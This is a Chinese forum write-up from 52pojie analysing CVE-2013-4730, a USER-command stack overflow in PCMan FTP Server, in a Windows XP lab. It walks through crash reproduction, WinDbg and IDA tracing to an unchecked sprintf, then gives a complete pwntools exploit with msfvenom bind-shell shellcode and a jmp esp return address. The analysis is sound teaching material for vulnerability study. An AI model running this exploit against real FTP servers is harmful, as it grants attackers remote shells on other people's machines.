作者论坛账号:hqz66
PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析
一、漏洞信息
1. 漏洞简述
-
漏洞名称:PCMan FTP Server远程缓冲区溢出
-
漏洞编号:CVE-2013-4730
-
漏洞类型:缓冲区溢出
-
漏洞影响:远程代码执行
-
利用难度:Easy
-
详细信息:https://www.exploit-db.com/exploits/26471
2. 软件概述
PCMan FTP Server用于打开ftp服务,用于上传文件和管理有线及无线设备的软件
二、漏洞复现
1. 环境搭建
-
靶机环境:Windows xp sp3
-
靶机配置:
-
PCMan FTP Server 2.0.7
-
windbg
-
mona
-
攻击机:kali 2.0
-
攻击机配置:
-
pwntools
-
metasploit
2. 复现过程
在靶机中运行PCMan FTP,确保21号端口已打开,用windbg附加程序
由漏洞的exploit可以得知USER字段存在溢出漏洞,编写poc并在 kali 中运行测试
复制代码 隐藏代码from pwn import *
context(log_level="debug")
io = remote("192.168.112.146", 21)
print(io.recv())
#使用pwntools的cyclic函数构造唯一子串序列
fuzz = flat("USER ", cyclic(8000))
io.sendline(fuzz)
print(io.recv())
windbg查看pcman ftp的运行状态,发现eip指向了0x7561617a非法地址,程序崩溃
观察栈帧结构,栈已被poc发送的数据填满,可以确定存在缓冲区溢出漏洞
三、漏洞分析
1. 背景知识
最简单的缓冲区溢出,分析这个漏洞主要熟悉一下用windbg进行栈回溯
2. 分析思路
思路一
ftp作为网络通信协议,客户端与浏览器进行交互使用socket,那么一定使用了recv()函数,在windbg中对recv()函数下断点,发送poc并单步跟踪,能够找到漏洞函数
思路二
栈回溯:在触发漏洞的内存地址下断点,触发漏洞时观察栈帧的结构,能够找到漏洞函数的地址。这是本文分析使用的方法
3.详细分析
查看触发栈溢出漏洞时的栈帧结构,那么溢出的数据就不能覆盖函数返回地址,就要确定返回地址的位置:发送poc后,eip指向返回地址0x7561617a
在利用pwntools的cyclic_find()函数查看0x7561617a在唯一子串序列中的位置,可以确定返回地址在序列的位置为2000(这也是为什么poc使用cyclic生成字符串的原因)
重新发送poc字符串
复制代码 隐藏代码fuzz = flat("USER ", cyclic(2000), 'aaaa')
此时返回地址已被‘aaaa’覆盖,令进程在覆盖返回地址之前断下,选择栈中返回地址之前设置硬件条件断点,这里我选择0x0012ed98
复制代码 隐藏代码ba w4 0x0012ed98 ".if(poi(0x0012ed98)==0x74616174){}.else{gc}"
重新发送poc后进程在0x004173af出断下,kb查看栈信息
栈回溯,利用IDA查看造成缓冲区赋值的函数
0x00417428处函数write_char(),向指针地址写入一个字节的数据,地址赋值不可能只写一个字节,一定有一个函数循环调用write_char()
上一层0x00412ced,sprintf函数,继续返回上一层0x00403EE6,即sub_403E60()函数
这里使用sprintf向Buffer缓冲区赋值
sprintf第二个参数aDDD02d02d05dSS是格式化格式%d/%d/%d [%02d:%02d] (%05d) %s> %s
格式化参数v5是int类型,a2是函数参数char *类型
猜想:是没有控制用户的输入长度,直接将字符串a2复制到局部变量缓冲区buffer导致栈溢出
验证,在.text:00403EE6 E8 D4 ED 00 00 call _sprintf设置断点,查看参数a2
查看0012edc4的值,确定是用户的输入字符串,猜想正确
这里格式化获取系统时间,并将数据写入文件,可能是为了记录信息到日志中,查看PCMan ftp的日志文件,更加确认了我们的猜想
四、漏洞利用
1. 利用条件
靶机windows xp sp3关闭DEP保护,使栈上的数据可执行
2. 利用过程
2.1 排除坏字符
利用mona插件生成一个0x00到0xff的bytearray,发送payload,比对哪个字符发送后会破坏payload,将其排除即可
复制代码 隐藏代码!py mona bytearray -b "x00x0a d"
复制代码 隐藏代码from pwn import *
context(log_level="debug")
bytearray = (
"x01x02x03x04x05x06x07x08x09x0bx0cx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x21x22"
"x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41x42"
"x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61x62"
"x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81x82"
"x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1xa2"
"xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2"
"xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2"
"xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff")
io = remote("192.168.112.146", 21)
print(io.recv())
payload = flat("USER ", cyclic(2000), 'aaaa', bytearray)
io.sendline(payload)
print(io.recv())
2.2 查找jmp esp命令
使进程跳转到栈中执行用jmp esp指令,查询加载模块中jmp esp的地址,机器码 xffxe4
复制代码 隐藏代码!py mona find -s "xffxe4" -m
选择一个拥有可执行权限EXECUTE的地址
2.3 生成shellcode
利用metasploit生成windows反弹shell的shellcode,开放本地端口4444,排除坏数据’x00x0ax0d’,以py格式输出,同时开头由0x20个nop作为滑板
复制代码 隐藏代码msfvenom -p windows/shell_bind_tcp LPORT=4444 -b 'x00x0ax0d' -n 0x20 -f py
2.4 编写exploit
复制代码 隐藏代码from pwn import *
context(log_level="debug")
buf = b""
buf += b"x92x40x9fx93x91x93x41x49x4ax37x3fx9bx93"
buf += b"x43x4axf9x4ax91x42x9fx49x41xf8x9fxf5x4a"
buf += b"x92xfdx98x92x93x41xbax73xe1xfax7exdbxdb"
buf += b"xd9x74x24xf4x58x31xc9xb1x53x83xe8xfcx31"
buf += b"x50x0ex03x23xefx18x8bx3fx07x5ex74xbfxd8"
buf += b"x3fxfcx5axe9x7fx9ax2fx5axb0xe8x7dx57x3b"
buf += b"xbcx95xecx49x69x9ax45xe7x4fx95x56x54xb3"
buf += b"xb4xd4xa7xe0x16xe4x67xf5x57x21x95xf4x05"
buf += b"xfaxd1xabxb9x8fxacx77x32xc3x21xf0xa7x94"
buf += b"x40xd1x76xaex1axf1x79x63x17xb8x61x60x12"
buf += b"x72x1ax52xe8x85xcaxaax11x29x33x03xe0x33"
buf += b"x74xa4x1bx46x8cxd6xa6x51x4bxa4x7cxd7x4f"
buf += b"x0exf6x4fxabxaexdbx16x38xbcx90x5dx66xa1"
buf += b"x27xb1x1dxddxacx34xf1x57xf6x12xd5x3cxac"
buf += b"x3bx4cx99x03x43x8ex42xfbxe1xc5x6fxe8x9b"
buf += b"x84xe7xddx91x36xf8x49xa1x45xcaxd6x19xc1"
buf += b"x66x9ex87x16x88xb5x70x88x77x36x81x81xb3"
buf += b"x62xd1xb9x12x0bxbax39x9axdex57x31x3dxb1"
buf += b"x45xbcxfdx61xcax6ex96x6bxc5x51x86x93x0f"
buf += b"xfax2fx6exb0x15xecxe7x56x7fx1cxaexc1x17"
buf += b"xdex95xd9x80x21xfcx71x26x69x16x45x49x6a"
buf += b"x3cxe1xddxe1x53x35xfcxf5x79x1dx69x61xf7"
buf += b"xccxd8x13x08xc5x8axb0x9bx82x4axbex87x1c"
buf += b"x1dx97x76x55xcbx05x20xcfxe9xd7xb4x28xa9"
buf += b"x03x05xb6x30xc1x31x9cx22x1fxb9x98x16xcf"
buf += b"xecx76xc0xa9x46x39xbax63x34x93x2axf5x76"
buf += b"x24x2cxfax52xd2xd0x4bx0bxa3xefx64xdbx23"
buf += b"x88x98x7bxcbx43x19x8bx86xc9x08x04x4fx98"
buf += b"x08x49x70x77x4ex74xf3x7dx2fx83xebxf4x2a"
buf += b"xcfxabxe5x46x40x5ex09xf4x61x4b"
io = remote("192.168.112.146", 21)
print(io.recv())
payload = flat("USER ", cyclic(2000), 0x77f8b227, buf)
io.sendline(payload)
print(io.recv())
在攻击机发送exploit,连接靶机4444端口成功
五、参考文献
-
https://www.exploit-db.com/exploits/26471
-
https://www.cnblogs.com/cnsec/p/13286514.html
--官方论坛
www.52pojie.cn
--推荐给朋友
公众微信号:吾爱破解论坛
或搜微信号:pojie_52
本文始发于微信公众号(吾爱破解论坛):【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论